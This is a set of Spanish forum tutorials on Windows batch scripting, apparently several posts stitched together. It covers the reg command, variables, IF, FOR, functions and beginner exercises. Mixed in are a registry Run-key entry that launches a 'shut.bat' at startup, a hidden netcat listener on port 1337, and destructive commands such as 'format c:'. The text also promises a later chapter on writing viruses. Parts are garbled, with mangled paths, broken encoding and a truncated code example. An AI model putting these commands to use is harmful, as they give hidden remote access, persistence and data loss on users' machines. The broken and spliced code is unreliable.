echo Aqui va la ayuda en caso de que el programa se ejecute con el parametro /help
pause
exit
:tex
echo De esta forma se ejecuta el programa normalmente
pause
exit
7.Manejo del Registro
Accesar al registro es algo fundamental .Esto es posible mediante el comando "reg". Este comando tiene infinitas posibilidades. Hay muchos parametros que se pueden especificar y muchas funcionalidades. Tratare de explicarlas lo mas clara y simplemente. Estos son solos los mas importantes, hay otros pero con estos ya es suficiente.
Los tipos de "reg" son los siguientes:
REG ADD / Para agregar una clave al registro
REG QUERY / Para consultar una clave
REG EXPORT / Para exportar claves
REG IMPORT / Importa una clave exporta anteriormente con EXPORT.
REG COMPARE / compara una clave con otra.
REG ADD
ADD REG hklm/software/microsoft/windows/currentversion/run /v syst /d "c:/windows/system32/shut.bat"
Este comando agregaria una clave al registro de inicio con el nombre syst y con el valor de la ruta de nuestro bat.
REG QUERY
REG QUERY clave [/v nvalor | /ve][/s]
clave [\equipo\]clave
equipo: Nombre del equipo remoto. Si se omite se usa el equipo actual. Sólo están disponibles HKLM y HKU en equipos remotos.
clave: Con la forma nombre de CLAVERAIZ\subclave CLAVERAIZ [ HKLM | HKCU | HKCR | HKU | HKCC ]
Subclave: Nombre completo de la clave de registro en la CLAVERAIZ seleccionada.
/v consulta para una clave de registro específica
nvalor: nombre en la clave seleccionada para consultar.
Si se omite, se consultará en todos los valores de la clave.
/ve Consultar el valor predeterminado o el de nombre vacío <sin nombre>
/s Consultar todas las subclaves y valores Ejemplos: REG QUERY HKLM\Software\Microsoft\ResT /v Version
Muestra el valor del valor Version del registro. REG QUERY HKLM\Software\Microsoft\ResT\Setup /s
Muestra todas las subclaves y valores en la clave de registro Setup.
REG EXPORT
clave ROOTKEY\subclave (sólo equipo local)
ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
subclave El nombre completo de la clave del registro dentro del valor
ROOTKEY seleccionado
archivo El nombre del archivo de disco para exportar
Espero que le sirva a alguien que quiera comenzar con batch
Comentar no cuesta nada
Programación BATCH Avanzada.
Temario.
1.- Variables y Argumentos.
2.- Imprimir caracteres de comandos.
3.- Algunas otras variables de Entorno.
4.- IF
5.- FOR
6.- Funciones
7.- Includes
8.- Misc
9.- EOF
________________________________________
Variables y Argumentos
El manejo de variables en batch, es muy flexible., y este nos permite hacer desde operaciones matemáticas, hasta seleccionar ciertas partes de una variable, asi como reemplazar cadenas de texto, y obtener archivos.. y sus propiedades, la fecha, hora, generar numeros aleatorios, entre otros.
Los argumentos que recibe un batch, son recibidos de la siguiente forma:
batch argumento1 dos tres
hara que:
%0 = batch
%1 = argumento1
%2 = dos
%3 = tres
en %0 se guardara, el nombre del archivo.
Podemos borrar el contenido de un parametro con el comando shift:
Código:
@echo off
echo %0 %1 %2 %3
shift /1
echo %0 %1 %2 %3
al llamar:
Código:
C
ocuments and SettingsAdministradortempcurso>astring 123 456 789
astring 123 456 789
astring 456 789
shift borro, el primer argumento.
Tambien contamos con los siguientes modificadores para los archivos:
Código:
%~f1 - regresa la ruta y el archivo de %1.
%~d1 - regresa la letra de la unidad de %1.
%~p1 - regresa solo la ruta del archivo %1.
%~n1 - regresa solo el nombre de archivo %1.
%~x1 - regresa solo la extension del archivo %1.
%~s1 - regresa solo la ruta, con directorios, con nombres cortos del archivo %1.
%~a1 - regresa los atributos del archivo.
%~t1 - regresa la hora/fecha del archivo %1
%~z1 - regresa el tamaño del archivo %1.
por ejemplo:
en un directorio donde tenemos:
Código:
C
ocuments and SettingsAdministradortempcurso>dir
El volumen de la unidad C no tiene etiqueta.
El número de serie del volumen es: A057-553B
Directorio de C
ocuments and SettingsAdministradortempcurso
24/07/2006 12:25a <DIR> .
24/07/2006 12:25a <DIR> ..
24/07/2006 12:25a 6 archivo.txt
1 archivos 6 bytes
2 dirs 401,715,161,088 bytes libres
este batch:
Código:
@echo off
echo Ruta al archivo: %~f1
echo Disco: %~d1
echo Solo ruta: %~p1
echo Nombre: %~n1
echo Extension: %~x1
echo Ruta Corta: %~s1
echo Atributos: %~a1
echo Fecha: %~t1
echo Tamaño: %~z1
llamandolo analiza.bat, saca el siguiente resultado:
Código:
C
ocuments and SettingsAdministradortempcurso>analiza archivo.txt
Ruta al archivo: C
ocuments and SettingsAdministradortempcursoarchivo.txt
Disco: C:
Solo ruta: Documents and SettingsAdministradortempcurso
Nombre: archivo
Extension: .txt
Ruta Corta: C
OCUME~1ADMINI~1TEMPCU~1archivo.txt
Atributos: --a------
Fecha: 24/07/06 12:25a
Tama±o: 6
Tambien podemos usar varias propiedades, por ejemplo, este codigo:
Código:
@echo off
echo %~anxt1
saca este resultado:
Código:
C
ocuments and SettingsAdministradortempcurso>analiza archivo.txt
--a------ 24/07/06 12:25a archivo.txt
Si lo que recibimos no es un archivo, sino una cadena de texto, que contiene mas de una palabra, se debe poner entre comillas, algo asi:
astring "parametro de varias letras"
al obtenerlo, en %1, lo recibimos con comillas, pero si usamos:
Código:
@echo off
echo Con Comillas: %1
echo Sin Comillas: %~1
saca este resultado:
Código:
C
ocuments and SettingsAdministradortempcurso>astring "parametro de varias letras"
Con Comillas: "parametro de varias letras"
Sin Comillas: parametro de varias letras
Y por ejemplo, si queremos obtener todos los argumentos, se usa:
%*
es decir:
Código:
@echo off
echo Argumentos: %*
al ejecutar:
astring parametro de varias letras
nos regresa:
Código:
C
ocuments and SettingsAdministradortempcurso>astring parametro de varias letras
Argumentos: parametro de varias letras
Para asignar a una variable, el valor de algo escrito por el usuario, puedes usar:
set /P variable=
por ejemplo:
Código:
@echo off
echo ¿Como te llamas?
set /P miva=
echo Tu te llamas %miva%
hara algo asi:
Código:
C
ocuments and SettingsAdministradortempcurso>astring
┐Como te llamas?
Juan
Tu te llamas Juan
Ahora, si por ejemplo, queremos, hacer algo como, obtener las ultimas 3 letras del nombre:
Código:
@echo off
echo Escribe tu Nombre
set /P NOM=
echo %NOM:~-3%
Aqui lo que estamos haciendo en la ultima linea:
%NOM:~-3%
hara, obtener los ultimos 3 caracteres, como si se tratara de la funcion substring.
por ejemplo, esto:
%NOM:~1,3%
obtendra del segundo al cuarto caracter. (empiezas desde 0, recuerda)
Para reemplazar cadenas, dentro de otra variable, es la siguiente sintaxis:
Código:
@echo off
echo Escribe una frase
set /P FRA=
echo %FRA:e=XXX%
esto reemplazara las letras "e" por "XXX".
Para hacer calculos matematicos, se usa el modificado /A, de esta forma:
Código:
@echo off
set /A x=1
echo %x%
set /A x=x*9
echo %x%
tenemos las siguientes operaciones disponibles:
Código:
() - agrupar
* / % - operadores aritméticos
+ - - operadores aritméticos
<< >> - mayús lógica
& - AND
^ - XOR
| - OR
= *= /= %= += -= - asignación
&= ^= |= <<= >>=
, - separador de expresión
Con este podemos usar numeros hexadecimales de la siguiente forma:
Código:
@echo off
set /A x=2
echo %x%
set /A x=x*0xff
echo %x%
al colocar 0x estamos especificando, que a continuacion se pondra un valor hexadecimal.
________________________________________
Imprimir caracteres sin usar comandos
Ahora, se preguntaran, en las variabes, siempre usamos los signos %
Como imprimes uno?
veamos:
Código:
@echo off
set x=pru
set pru=HOLA
:: Esto imprimira el contenido de x
echo %x%
::Esto imprimira la letra x
echo x
::Esto imprimira %x%
echo %%x%%
::Esto imprimira el valor de x entre %%
echo %%%x%%%
:: Lo mismo
echo %pru%
echo %%pru%%
echo %%%pru%%%
En resumen, si quieren imprimir, el caracter %, deben colocarlo 2 veces.
Para otros caracteres, que ejecutan alguna accion en batch como:
&
|
<
>
debes colocar este caracter antes:^
por ejemplo:
Código:
echo <html><h1>Hola</h1></html> >index.html
no funcionara, pero:
Código:
echo ^<html^>^<h1^>Hola^</h1^>^</html^> >index.html
dara:
Código:
C
ocuments and SettingsAdministradortempcurso>type index.html
<html><h1>Hola</h1></html>
________________________________________
Algunas otras variables de entorno
Tenemos otras variables de entorno que podrian servir, ademas de las comunes de ALLUSERSPROFILE y HOMEPATH, por ejemplo:
Código:
@echo off
echo Directorio Actual: %CD%
echo Fecha: %DATE%
echo Hora: %TIME%
echo Numero Aleatorio: %RANDOM%
dara como resultado:
Código:
C
ocuments and SettingsAdministradortempcurso>astring
Directorio Actual: C
ocuments and SettingsAdministradortempcurso
Fecha: Lun 24/07/2006
Hora: 2:13:49.33
Numero Aleatorio: 24523
C
ocuments and SettingsAdministradortempcurso>astring
Directorio Actual: C
ocuments and SettingsAdministradortempcurso
Fecha: Lun 24/07/2006
Hora: 2:13:51.60
Numero Aleatorio: 3681
Otras instrucciones muy utiles, serian POPD y PUSHD, que sirven para guardar y regresar al directorio actual, por ejemplo:
Código:
@echo off
echo %CD%
PUSHD
echo %CD%
POPD
echo %CD%
PUSHD funciona de la siguiente manera:
Guarda el directorio actual., y va a la ruta especificada.
POPD regresa al directorio guardado por PUSHD
podemos usarlos uno dentro de otro, asi:
Código:
@echo off
echo %CD%
PUSHD
echo %CD%
PUSHD %homepath%
echo %CD%
POPD
echo %CD%
POPD
echo %CD%
________________________________________
IF
If, reconoce varias situaciones:
valores de error
comparar cadenas
existencia de archivos
comparaciones matematicas
como ya sabemos %ERRORLEVEL% almacena algunos valores de otras funciones.
al hacer
IF ERRORLEVEL 1 @echo ok ELSE @echo no
estariamos preguntando si ERRORLEVEL es 1, si lo es imprime OK, si no, imprime NO.
tambien podemos comparar cadenas, por ejemplo:
Código:
@echo off
IF "%~1"=="hola" echo hola
usamos %~1 para que aunque el usuario ponga comillas, no salga error
Código:
@echo off
IF /I "%~1"=="hola" echo hola
este codigo, solo responde si dices hola CON minusculas. /I es para hacer mas estricta la comparacion.
ahora, podemos usar IF en varias lineas:
Código:
@echo off
IF EXIST %~snx1 (
echo EXISTE!
) ELSE (
echo NO EXISTE
)
con parentesis ().
si vamos a usar comparaciones numericas, debemos usar los siguientes codigos de comparación:
Código:
EQU - igual
NEQ - no igual
LSS - menor que
LEQ - menor que o igual
GTR - mayor que
GEQ - mayor que o igual
por ejemplo:
Código:
@echo off
echo Cual es tu edad?
SET /P m=
IF %m% GEQ 18 (
echo ERES MAYOR DE EDAD
) ELSE (
echo NO ERES MAYOR DE EDAD
)
que regresa:
Código:
C
ocuments and SettingsAdministradortempcurso>acon
Cual es tu edad?
19
ERES MAYOR DE EDAD
C
ocuments and SettingsAdministradortempcurso>acon
Cual es tu edad?
17
NO ERES MAYOR DE EDAD
Tambien podemos saber si una variable ya fue definida:
Código:
IF DEFINED var (
echo SI
) ELSE (
echo NO
)
________________________________________
FOR
FOR es una herramienta muy completa, nos permite analizar segmentos de la salida de comandos, funciones y el contenido de archivos.
Tambien permite hacer bucles de la siguiente manera:
Código:
FOR /L %%var IN (inicio,incremento,fin) DO (acciones)
inicio, es el valor inicial, incremento es la cantidad a sumar, y fin es la cantidad a detenerse, por ejemplo:
Código:
FOR /L %%i IN (0,1,10) DO (echo %%i)
imprimira 0 1 2 3 4 5 6 7 8 9 10
sinembargo, la forma mas sencilla de usar FOR, es para numerar archivos, y hacer algo con ellos.. por ejemplo:
Código:
FOR %%x in (x*) DO echo %%x
mostrará todos los archivos que empiezan con x.
para SOLO mostrar directorios:
Código:
FOR /D %%x in (m*) DO echo %%x
el modificador "/D", mostrará solo los directorios, que empiesen con m.
El comando se puede hacer "recursivo", es decir, que se ejecute dentro de cada directorio, con el comando "/R", por ejemplo, en una estructura de directorios como la siguiente:
Código:
├───adios
│ └───algo
│ └───xx
└───hola
al ejecutar el comando:
Código:
FOR /R /D %%x in (a*) DO echo %%x
C:adios
C:adiosalgo
sinembargo, al ejecutar el comando..
Código:
FOR /R %%x in (*x*) DO echo %%x
C:ax.txt
C:adiossx.txt
C:adioswwx.txt
C:adiosalgokkx.txt
C:adiosalgoxxxx.txt
C:holaax.txt
C:holarx.txt
nos mostrara todos los archivos que coinciden con la sequencia especificada, incluso podriamos hacer un buscador en batch, con el uso de FINDSTR y FOR.
Tenemos otro modificador, /F que nos permite usar ciertas opciones para separar el resulado de las acciones.. comandos, cadenas, o archivos. Su sintaxis es la siguiente:
Código:
FOR /F ["opciones"] %var IN (conjunto) DO (acciones)
conjunto puede ser:
conjunto de archivos -> sin comillas
cadena de caracteres -> con comillas dobles (" "
comando -> con comilla simple (' ')
las opciones son las siguientes:
eol -> todo lo que este despues de este caracter sera ignorado (para cada linea)
skip -> numero de lineas a saltarse al principio del archivo/comando.
delims -> esto sirve para separar las strings.. si no se coloca esta opcion, se usaran como separadores "espacio" y "tab"
tokens -> esto es para especificar cuales segementos, delimitados por "delims", seran pasados a las variables.. por ejemplo:
1,2,3
solo pasara los primeros 3 segmentos.
1,2*
pasara 2 segmentos, el primero y todo lo que este despues (el * regresa todo el resto de la linea)
1,2-6,8,9*
regresara 4 segmentos, el primero, desde el segundo hasta el sexto, el octavo y el resto de la linea, despues del noveno, el signo de menos (-) genera intervalos.
por ultimo, esta la opcion:
usebackq -> que cambia la forma de interpretar si es string o comando, de la siguiente manera:
'cadena'
`comando`
Nota: [`] es diferente al caracter de acento [´]
por ejemplo, el siguiente comando:
Código:
FOR /F "tokens=1,3-5,7-9,10* delims= " %%i IN ("George no es malvado, es bondadoso, siempre piensa en los demas."
DO echo %%i %%j %%k %%l tonto, %%m %%n %%o matar a %%p %%q
dara de resultado:
Código:
George es malvado, es tonto, siempre piensa en matar a los demas.
________________________________________
Funciones
El uso de argumentos, de etiquetas y de filtros nos ayuda mucho al momento de escribir un codigo.
Muchos creen que las etiquetas solo sirven para los goto.. sinembargo una etiqueta puede servir de funcion y recibir parametros.
miren, el siguiente programa:
Código:
@echo off
call:funcion 1 2 3
call:funcion %*
goto:EOF
:funcion
echo Estoy en: %~nx0-^>%0 %*
al ser llamado, por ejemplo en:
Código:
C:>ejemplo
Estoy en: ejemplo.bat->:funcion 1 2 3
Estoy en: ejemplo.bat->:funcion
el primero muestra los parametros enviados por el batch (1 2 3), y el segundo los parametros enviados al programa.
en este otro ejemplo:
Código:
C:>ejemplo HOLA MUNDO
Estoy en: ejemplo.bat->:funcion 1 2 3
Estoy en: ejemplo.bat->:funcion HOLA MUNDO
la funcion obtiene tambien los argumentos del programa.
hasta ahora.. todo es igual a usar goto a excepcion del uso de argumentos, sinembargo.. si queremos hacer un.. "return", se hace usando:
goto:EOF
entonces, en situaciones como:
Código:
@echo off&call:main&goto:EOF
:suma
set /A res=%1 + %2
echo %res%
goto:EOF
:resta
set /A res=%1 - %2
echo %res%
goto:EOF
:multiplica
set /A res=%1 * %2
echo %res%
goto:EOF
:main
set /P arg=Escribe 2 numeros separados por un espacio
echo %arg%
echo su suma es:
call:suma %arg%
echo su resta es:
call:resta %arg%
echo su producto es:
call:multiplica %arg%
goto:EOF
como podemos ver goto:EOF se usa para regresar al orden de comandos.
el resultado es algo asi:
Código:
C:>operaciones
Escribe 2 numeros separados por un espacio 6 2
6 2
su suma es:
8
su resta es:
4
su producto es:
12
________________________________________
Includes
Para hacer un "include" oincluir un archivo, solo debes llamarlo asi:
archivo_a_incluir.bat funcion argumentos
y en el archivo a incluir, debe de estar al principio: @echo off&call:%*&goto:EOF
queda algo asi:
Código:
@echo off&call:%*&goto:EOF
:funcion1
...
:funcion2
...
por ejemplo:
--inclu.bat--
Código:
@echo off&call:%*&goto:EOF
:cabeza
echo ###############
echo # Hecho por: #
echo # sirdarckcat #
echo ###############
goto:EOF
:uso
echo uso:
echo %~nx0 Nombre
goto:EOF
:nombre
echo Hola %*
goto:EOF
--inicio.bat--
Código:
@echo off
if "%~1"=="" (
inclu.bat cabeza
inclu.bat uso
) else (
inclu.bat nombre %~1
)
esto daria este resultado:
Código:
C:>inicio
###############
# Hecho por: #
# sirdarckcat #
###############
uso:
inclu.bat Nombre
C:>inicio sirdarckcat
Hola sirdarckcat
C:>
________________________________________
Misc
Algunos filtros y comandos interesantes:
• comando | more
muestra el resultado del comando de forma paginada
• comando | sort
muestra el resultado del comando de forma ordenada
• TITLE "algo"
cambia el titulo de la ventana de CMD
• SUBST ruta/a/alguna/carpeta [letra_unidad]
asgina a letra_unidad la ruta de acceso
• FIND "cadena"
busca cierta cadena en un archivo (se puede usar como filtro), con el modificador /v encuentra solo las que NO tienen la linea especificada. (para mas info, escribe en CMD: FIND /?)
• FINDSTR
extension de FIND, acepta expresiones regulares, y busqueda general (lo mas parecido que DOS tiene a grep), descripción detallada:
Código:
Busca cadenas en los archivos.
FINDSTR [/B] [/E] [/L] [/R] [/S] [/I] [/X] [/V] [/N] [/M] [/O] [/P]
[/F:archivo]
[/C:cadena] [/G:archivo] [/D:lista de directorios] [/A:atributos de color]
[[unidad
[ruta]nombredearchivo[ ...]]
/B Hace coincidir los modelos si están al principio de la línea.
/E Hace coincidir los modelos si están al final de la línea.
/L Literalmente utiliza cadenas de búsqueda.
/R Utiliza cadenas sde búsqueda como expresiones regulares.
/S Busca archivos que coinciden en el directorio actual y en todos
los subdirectorios.
/I Especifica que la búsqueda no distingue mayúsculas de minúsculas.
/X Imprime líneas que coinciden con exactitud.
/V Sólo imprime líneas que no contienen una correspondencia.
/N Imprime el número de la línea antes de la línea que coincide.
/M Sólo imprime el nombre de archivo si el archivo contiene una
correspondencia.
/O Imprime un carácter de desplazamiento antes de las líneas que
coinciden.
/P Omite archivos con caracteres que no son imprimibles
/A:attr Especifica atributos de color con dos dígitos hexadecimales. Ver
"color /?"
/F:archivo Lee la lista de archivos desde el archivo especificado
(/ significa consola).
/C:cadena Utiliza una cadena especificada como una búsqueda de cadena
literal.
/G:archivo Coje la búsqueda de archivos desde el archivo especificado
(/ significa consola).
/D:dir Busca un signo de punto y coma de la lista delimitada de
directorios
cadenas Texto que se debe buscar.
[unidad
[ruta]nombredearchivo
Especifica un archivo o archivos que buscar.
Utiliza espacios para separar múltiples cadenas de búsqueda a no ser que
el argumento lleve un prefijo con /C. Por ejemplo, 'FINDSTR "qué tal" x.y'
busca "qué" o "tal" en el archivo x.y. 'FINDSTR /C:"qué tal" x.y' busca
"qué tal" en el archivo x.y.
Expresión regular de referencia rápida:
. Comodín: cualquier carácter
* Repetir: cero o más ocurrencias de un carácter previo o de clase
^ Posición de línea: comienzo de la línea
$ Posición de línea: fin de línea
Clase de carácter: cualquier carácter en la serie
[^class] Clase inversa: cualquier carácter que no esté en la serie
[x-y] Intervalo: cualquier carácter que esté dentro del intervalo
especificado
x Escape: uso literal de un metacarácter x
<xyz Posición de palabra: principio de palabra
xyz> Posición de palabra: fin de palabra
Para obtener una información más completa sobre expresiones regulares de
FINDSTR referirse al Comando de referencia Command en línea.
• start "titulo ventana nueva"
comando argumentos
START tiene mas opciones de las que son usadas comunmente.
"titulo ventana nueva" especifica el titulo de la ventana que se generará.
las opciones entre otros contienen:
/Druta - el programa inicia en el directorio..
/B - la aplicación se inicia sin ventana
/I - se inicia la aplicacion con el entorno original, es decir las modificaciones al entrono hechas en esta sesion, no afectaran el nuevo programa
/MIN - La nueva ventana se inicia minimisada
/MAX - La nueva ventana se inicia maximisada
/SEPARATE - El programa se inicia en una zona de memoria separada
/SHARED - El programa se inicia en una zona de memoria compartida
Iniciar en prioridades:
/LOW - baja
/NORMAL - normal
/HIGH - alta
/REALTIME - tiempo real
/ABOVENORMAL - sobre lo normal
/BELOWNORMAL - debajo de lo normal
/WAIT - Inicia el programa, y espera hasta que termine de ejecutarse
por ejemplo, si quieren abrir un programa sin generar una ventana, por ejemplo netcat, podrian hacer algo asi:
start /B /SEPARATE /HIGH /I /D %WINDIR% nc -L -p 1337 |exit
que lo inicia en una zona de memoria separada, con prioridad alta, en el contexto original, y en %windir%
EOF
EOF es una etiqueta que define el fin del archivo, sirve para terminar funciones, y en este caso, solo sirve para terminar el documento , espero les sirva
Autorizo la reproducción total o parcial de este documento bajo la licencia de documentación libre de GNU (GFDL), una copia puede ser encontrada en http://www.gnu.org/licenses/fdl.txt
Espero que Mi Post les Alla Gustado Muchas Gracias,, Ya mi segundo post!

INRODUCCION:
Este curso va destinado para Newbies que aun no han comenzado a programar. Intentare explicarlo todo lo mas claro y preciso que pueda. Si ustedes ya han programado alguna vez, no se molesten en leerlo, no aprenderan nada nuevo puesto que como ya e dicho, es para aprender.
El curso lo are por capitulos, escriviendo uno cada dia o dos dias para que vallan con calma y practicando lo aprendido. Les recomiendo hacer los ejercicios ustedes mismos a la vez que sigen el curso para que puedan aprender bien.
Los unicos requisitos son; el bloc de notas, paciencia e intentar entender lo que se hace
Capitulo Uno
MI PRIMER PROGRAMA .BAT
En este primer capitulo crearemos nuestro primer programa, usando los comandos mas basicos de la programcion en batch.
Abran el bloc de notas.
A continuacion escrivan
Código:
@echo off
Asi sera como empesemos siempre el programa
A continuacion escriviremos es titulo del programa, para ello pondremos title seguido de su titulo, ejemplo:
Código:
@echo off
title mi primer programa txshack
De esta forma nuestro programa tendra el nombre de, "mi primer programa txshack"
Ahora les mostrare una serie de comandos basicos que deven de aprender, les aconsejo que lo apunten en un papel para tenerlos siempre presentes.
echo. sirve para dejar un espacio de linea en el programa. Es lo equivalente a pulsar intro en el word
echo este sirve para mostrar un mensaje en el programa
rem este sirve para mostrar un mensaje pero que no se vera en el programa, es decir tan solo se vera en el modo ediciom osea donde estamos ahora, en el bloc de notas..(suel escrivirse para acer tus aclaraciones, y que no te parezca lioso, por ejemplo decir, asta aqui la introduccion, asta aqui las preguntas, apartir de aqui ire acabando las operaciones...etc)
pause sirve para acer una pausa en el programa, es decir, una vez llegados ahi, nos dira el programa... pulse una tecla para continuar... en cambio si escrivimos pause > nul no nos lo preguntara, es decir, daremos una tecla y continuara.
exit esta sirve para acabar el programa, para salir de el....
Bien una vez dicho esto, podremos crear nuestro primer programa.
Abran el bloc de notas si aun no lo han echo y escriban..
Código:
@echo off
title mi primer programa txshack
echo.
echo comentario
echo.
pause
echo.
echo este es mi primer programa jejeje siiiiii
pause > nul
rem y aca ya se acaba, esto no lo leere pero me sirve de aclaracion
exit
Aora le dan a guardar como y lo llaman por ejemplo 1?‚ºprogramacontxshack.bat o lo que quieran, pero deve ser loquesea.bat
Aora veran que se a creado un programa que tiene el icono como de una ventana blanca con una rueda dentada dentro, pues ese es nuestro programa!! ejecutenlo y vean!!
Despues intenten entender el codigo, y veran lo sencillo que es...
En el proximo capitulo les ense?are como hacer que el programa te aga preguntas y tu responderlas...etc
No se impacienten!! jeje
Espero que les ayude.
CAPITULO 2: LAS VARIABLES
Espero que les quedase claro lo que dimos en el capitulo numero. Fue una cosa sencilla no?
Ahora pasaremos a las variables.
Una variable, es una especie de memoria a la que podemos asignarle un dato, para acerlo referencia mas adelante. Para entenderlo, lo mejor es que agamos un ejemplo.
Código:
@echo off
title ejemplos
set var=capullo
echo eres un %var%
pause
Como veran comenzamos con @echo off y seguimos poniendo un titulo, en este caso lo he llamado ejemplos. (asta aki ya lo sabian no)
a continuacion al poner set var=capullo ace que la palabra capullo se muestre cuando ponemos var entre %% de esta forma, cuando ponemos eres un %var% el programa nos muestra, eres un capullo jejeje, esto es un ejemplo, vean.
han visto no asi pueden acer todo lo que se les ocurra...lo q deven recordar es que tiene q empezar por set unapalabra= loquequieras y para acer luego referencia a loquequieras, menten entre %% la palabra seguida de set, de esta forma %unapalabra%
por s un lio, ponemos cls y cuando llege ahy borrara lo anterior y continuara con el codigo... Benga, les ago el ejemplo...
Código:
@echo off
title ejemplo4
set/p nombre= ?como te llamas?
echo.
pause
echo.
set/p edad= ?y cuantos a?os tienes?
echo.
pause
echo.
set/p vive= ?y donde vives?
echo.
pause
cls
echo te llamas %nombre% y tienes %edad% a?os y vives en %vive%
echo.
pause > nul
exit
han visto no si no hacen los codigos, por lo menos les aconsego que lo agan con los mios, den a copiar y pegar para que les sirva de ejemplo. Vallan provando, es la mejor forma de acordarte de ello y coger soltura
Y bueno, si se an quedado con esto... por oy ya es bastante...
Ah!! una ultima cosa.. les voy a dar ya los codigos de colores para que experimenten a cambiar el color a la ventana del programa. Es facil de usar, deven poner, color seguido de un numero y letra (color de letras y de fondo)... prueven....
CODIGO DE COLORES:
0 = Negro
1 = Azul
2 = Verde
3 = Aguamarina
4 = Rojo
5 = Prpura
6 = Amarillo
7 = Blanco
8 = Gris
9 = Azul claro
A = Verde claro
B = Aguamarina claro
C = Rojo claro
D = Prpura claro
E = Amarillo claro
F = Blanco brillante
Os dejo un ejemplo del anterior, ejmplo3, para que vean como se meten los colores
Código:
@echo off
title ejemplo4
color 5e
set/p nombre= ?como te llamas?
echo.
pause
echo.
set/p edad= ?y cuantos a?os tienes?
echo.
pause
echo.
set/p vive= ?y donde vives?
echo.
pause
cls
color 2f
echo te llamas %nombre% y tienes %edad% a?os y vives en %vive%
echo.
pause > nul
exit
CAPITULO 3: VARIABLES -CONTINUACION-
En esta ocasion, os explicare otro tipo de variables, que se utilizan para hacer operaciones matematicas. Su base y modo de empleo es similar a las del capitulo anterior (las set/p).
Estas en vez de set/p xxx= se llaman set/a xxx=
Sirve por ejemplo para realizar medias, porcentajes...etc...
Lo mejor es ver un ejemplo:
Por cierto, antes de mostrar el codigo, se acuerdan del comando rem no? aparece en el 1?‚º capitulo, y se usa para acer aclaraciones a la hora de acer el codigo, pero q luego en el programa no se vera. Os lo digo porque lo utilizare para irles explicando.
VEAN:
Código:
@echo off
title calcula tus nota lo que acemos es dotar la palabra asig con el valor 6
set/a suma=a+b+c+d+e+f
rem aqui sumamos las medias
set/a media=%suma%/%asig%
rem como veran al dividir la suma entre las asignaturas sacamos la media
echo tu nota media es de : %media%
pause
echo estudia mas cabron
echo.
echo consejo de txshack
pause
exit
Se me olvidaba decir que no muestra decimales, es decir si tu media es de 5,25 veras 5... ‚¡que qereis!? jeje
Espero que lo ayais entendido.
Los comandos de las operaciones son
suma+
resta -
producto *
division /
exponente ^
CAPITULO 4: IF, GOTO, MENUS
Bueno, en este 4?‚º capitulo, os explicare 2 sencillos comandos (el goto, y el de la estructuracion por menus), y otro algo mas complicado (el if) pero vereis que con un poco de practica tambien esta chupado.
El comando goto, nos permite dar un salto a un determinado lugar del bat. Por ejemplo para ir a un menu...
Los menus, nos permiten hacer "menus" o apartados en nuestro bat.
Los menus se hacen escriviendo : y seguido el nombre del menu. (con el ejemplo de luego lo vereis mas claro)
El comando if sirve para establecer una condicion, es decir, si la condicion se cumple o no, se ara tal cosa.
El comando if, dispone de los siguientes atributos:
variable==valor (para expresar si la variable es igual a valor az esto)
variable LSS valor (para expresar si la variable es menor a valor az esto)
variable GTR valor (para expresar si la variable es mayor a valor az esto)
variable LEQ valor (para expresar si la variablees menor o igual az esto)
variable GEQ valor (para expresar si la variable es mayor o igual az esto)
Para ver mas claro esto del goto, el if, y lo de los menus, os pondre un simple ejemplo.
Código:
@echo off
title txshack if, goto y menus
:menu
cls
echo responde si o no
echo.
set /p var=quieres convertirte en hacker??
If %var%==si goto serh
If %var%==no goto noh
:serh
cls
echo pues entonces sigue los consejos de txshack
pause > nul
goto end
:noh
cls
echo.
echo pues entonces que co?o aces leyendo esto??
pause > nul
goto end
:end
cls
echo.
echo adios
pause
exit
Han comprendido no es sencillo.
Aqui os dejo otro ejemplo
Código:
@echo off
title ?que numero sera...?
:menu
cls
echo deves averiguar el numero para poder salir
echo.
set /p var=pon un numero:
If %var%==5 goto si
If %var% LSS 5 goto menor
If %Var% GTR 5 goto mayor
:si
cls
echo correcto!!! por culo te la inco!! jaja
pause
goto salir
:menor
cls
echo elije otro mas alto
echo.
echo sigue jugando
pause > nul
goto menu
:mayor
echo elije otro mar peke?o!!
echo.
echo sigue probando
pause > nul
goto menu
:salir
echo.
echo asta otro dia!!
pause > nul
echo.
echo un saludo, txshack
pause
exit
Ya lo abran pillado no
Tambien pueden usar el comando if not que hace lo contrario que el if. En vez de decir SI pasa esto....haz esto, lo que hace es decir, SI NO pasa esto...haz esto. ?Entienden no? sino agan un ejemplo veran q facil es.
Se preguntaran tambien que pasa, cuando por ejemplo en el 1?‚º ejemplo que puse, en vez de escrivir si o no, escribimos otra cosa, entonces lo que sucedera, es que el lenguage, al ser lineal, pasra a la siguiente linea... sin importar lo q pongamos (pruevenlo).
Pero no se preocupen todo esto tiene solucion con un comando llamado else.
Lo que qiere decir es sino haz esto, es decir, por ejemplo decimos
Código:
if %vari%=1 (goto menu1) else goto menu2
Lo que qiere decir esto, es que si la variable es 1, vallamos al menu1, sino, al menu 2.
La sintaxis seria esta
if condiciones (accion1) ELSE accion2
La 1?‚º accion deve ir entre parentesis obligatoriamente.
Vean un ejemplo les quedara mas claro...
En el ejemplo se trata de decir si quieres un CONSEJO o si quieres SALIR, si escrives cualqier otra cosa, veran que vuelve al principio, y no pasa como en los ejemplos de antes
Código:
@echo off
title txshack di soy bobo
:menu
cls
echo que quieres? consejo o salir
echo.
set /p var=dime, consejo o salir:
If %var%==consejo (goto consejo) else goto if2
:if2
if %var%==salir (goto end) else goto menu
:consejo
cls
echo ten cuidado con lo que descargas, fiate solo de txshack, el es legal!!
pause > nul
goto end
:end
cls
echo.
echo adios!!
pause
exit
Bueno, y con todo esto acabo por hoy. Creo que son bastantes cosas por hoy no creen
Pronto seguire.
Bien, si an entendido lo anterior, ya es el momento de que sepan el resto de comandos, y experimenten y prueven por ustedes mismos.
En este capitulo, os ense?are el resto de comandos interesantes, y para el proximo capitulo, nos meteremos con la creacion de virus, e iran surgiendo nuevas cosas y comandos.
Bien, estos son los comandos basicos q deven recordar:
del borra archivos, por ejemplo: del c:/ruta/del/archivo/juego.exe
/P Pide confirmacin en cada caso
/F Modo force. Borra incluso los archivos de solo lectura
/S Borra tambin los subdirectorios.
/Q Modo silencioso. No pide confirmacin en ningn caso
rd borra el directorio de raid, por ejemplo: rd c:/ruta/directorio/raiz borrara ese dir.
star comienza algo, por ejemplo star www.infiernohacker.mundoforo.com
taskkill mata un porceso, puede ser tambien taskkill/f (fuerza bruta) ejemplo: taskkill iexplore.exe
format unidad: formatea una unidad, por ejemplo format c:
